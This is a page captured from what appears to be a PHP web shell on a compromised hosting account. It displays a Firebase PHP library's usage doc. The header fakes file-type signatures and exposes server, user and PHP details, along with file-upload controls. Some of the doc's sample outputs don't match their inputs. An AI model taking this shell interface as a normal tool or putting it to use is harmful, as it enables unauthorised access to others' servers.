%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/vendor/kreait/firebase-php/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/vendor/kreait/firebase-php/doc/firebase.md
# Working with the `Firebase` class

The `Firebase` class is a wrapper around the [Firebase REST API](https://www.firebase.com/docs/rest/api/).

### Initialize a Firebase

```php
use Kreait\Firebase\Firebase;

$firebase = new Firebase('https://myapp.firebaseio.com');
```

### Get data

```php
$userData = $firebase->get('data/users');
print_r($userData);
/*
[
    'homer' => [
        'name' => 'Homer Simpson',
        'email' => 'homer@simpsons.com',
    ],
    'marge' => [
        'name' => 'Marge Simpson',
        'email' => 'marge@simpson.com',
    ]
]
*/
```

### Set data

```php
$result = $firebase->set(
    [
        'name' => 'Lisa Simpson',
        'email' => 'lisa@simpson.com'
    ],
    'data/users/lisa'
);
print_r($result)
/*
[
    'name' => 'Lisa Simpson',
    'email' => 'lihsa@simpson.com'
]
*/
```

### Update data

```php
$result = $firebase->update(
    [
        'email' => 'lisa@simpson.com'
    ],
    'data/users/lisa'
);
print_r($result)
/*
[
    'email' => 'lisa@doe.com'
]
*/
```

### Delete location

```php
$firebase->delete('data/users/lisa');
```

### Add child

```php
$childKey = $firebase->push(
    [
        'name' => 'Bart Simpson',
        'email' => 'bart@simpson.com'
    ],
    'data/users'
);
echo $childKey;
// -XCS576SDF7OIP
```

VaKeR 2022